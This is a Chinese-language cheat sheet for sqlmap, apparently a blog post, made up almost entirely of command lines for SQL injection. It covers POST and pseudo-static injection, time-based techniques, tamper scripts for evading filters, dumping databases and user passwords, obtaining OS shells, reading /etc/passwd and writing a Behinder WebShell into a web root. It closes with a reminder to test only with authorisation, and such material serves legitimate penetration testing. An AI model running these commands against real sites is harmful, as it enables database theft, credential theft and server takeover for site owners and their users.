sqlmap SQL注入工具的使用方法

本文最后更新于 2025年7月14日 凌晨

1️⃣ 常用命令

1
python sqlmap.py --random-agent --batch --level=2 --tamper=randomcase -u <url>

2️⃣ 进阶使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 指定注入点参数
python sqlmap.py -r "request.txt" -p "id"

# 延时注入
python sqlmap.py -r r.txt --technique=T

# 自动爬行目标网站,同时使用表单注入
python sqlmap.py -u <url> --crawl=1
python sqlmap.py -u <url> --forms --crawl=2
python sqlmap.py -u <url> --forms --crawl=all

# POST注入
python sqlmap.py -u <url> --data="username=admin&password=123456"
python sqlmap.py -u <url> --data="username=admin&password=123456" -p "username"
python sqlmap.py -u <url> --data="username=admin&password=123456" --method=POST

# 使用代理
python sqlmap.py -u <url> --batch --level=5 --risk=3 --proxy="http://127.0.0.1:8080"

# 伪静态注入
python sqlmap.py -u "http://example.com/news/1.html" --batch --level=5 --risk=3

# 指定数据库类型
python sqlmap.py -u <url> --dbms=mysql

3️⃣ 延时注入

1
2
3
4
5
# 使用时间延迟注入,每个注入请求后等待 5 秒
python sqlmap.py -u <url> --delay=5

# 时间延迟注入 + 布尔盲注
python sqlmap.py -u <url> --delay=5 --technique=T --time-sec=5

4️⃣ 绕过组合示例

1
2
3
4
5
6
7
8
# 绕过空格
python sqlmap.py -u <url> --tamper=space2comment,space2plus

# 绕过引号
python sqlmap.py -u <url> --tamper=apostrophemask,apostrophenullencode,doublequotemask,doublequotenullencode

# 绕过关键字
python sqlmap.py -u <url> --tamper=randomcase,space2morehash

5️⃣ 常用参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 获取数据库、表、字段、数据
--dbs # 获取所有数据库
-D "blog" --tables # 获取指定数据库下所有表
-D "blog" -T "admin" --columns # 获取指定表的字段
-D "blog" -T "admin" -C "username,password" --dump # 导出字段内容

# 当前信息
--current-db # 当前数据库
--current-user # 当前用户
--users # 所有用户
--passwords # 所有用户密码
--is-dba # 是否为管理员

# 爆破辅助
--common-tables # 常见表名爆破
--common-columns # 常见字段爆破

# 其他
--threads 10 # 多线程
--batch # 跳过交互提示
--random-agent # 随机 User-Agent
--flush-session # 清空 session 重新扫描
--fresh-queries # 忽略 session 缓存
--eta # 显示预计完成时间

# 执行系统命令
--os-cmd=whoami
--os-shell

# 风险等级
--risk=0|1|2|3
# 检测深度
--level=1|2|3|4|5

# 指定注入技术
--technique=BEUSTQ

6️⃣ 高级功能

1
2
3
4
5
6
7
8
# 读取文件
--file-read=/etc/passwd

# 写入 WebShell
--file-write "D:\\Tools\\Behinder\\shell.php" --file-dest "G://www//shell.php"

# 执行指定 SQL
--sql-query="<SQL_query>"

7️⃣ 支持的数据库

数据库 参数
MySQL --dbms=mysql
PostgreSQL --dbms=postgresql
MSSQL --dbms=mssql
Microsoft Access --dbms=mdb
Oracle --dbms=oracle
SQLite --dbms=sqlite
Sybase --dbms=sybase
Firebird --dbms=firebird
Informix --dbms=informix
MaxDB --dbms=maxdb
DB2 --dbms=db2
HSQLDB --dbms=hsqldb
MonetDB --dbms=monetdb
Teradata --dbms=teradata
MariaDB --dbms=mariadb

8️⃣ 常用 tamper 脚本

tamper 是 sqlmap 的强大绕过功能。

脚本 用途
randomcase.py 随机大小写
space2comment.py 空格替换为 /**/
space2plus.py 空格替换为 +
randomcomments.py SQL 关键字注释分割
versionedkeywords.py 使用内联注释绕过
apostrophemask.py 引号 UTF-8 编码
base64encode.py Base64 编码
space2morehash.py 空格替换为 # 并换行
apostrophenullencode.py 单引号用双字节 Unicode 替换
charencode.py URL 编码
chardoubleencode.py 双重 URL 编码
modsecurityversioned.py MySQL 内联注释绕过
unionalltounion.py UNION ALL SELECTUNION SELECT
bluecoat.py LIKE 替代 =
sp_password.py 拼接 sp_password 绕过
还有很多,可参考 sqlmap 自带文档

📌 小结

  • 生产使用时建议先用低 risk、低 level 探测。
  • 多配合 tamper 组合测试。
  • 强烈建议配合 Burp Suite 抓包后使用 -r 参数。
  • 遵守法律法规,仅用于授权渗透测试。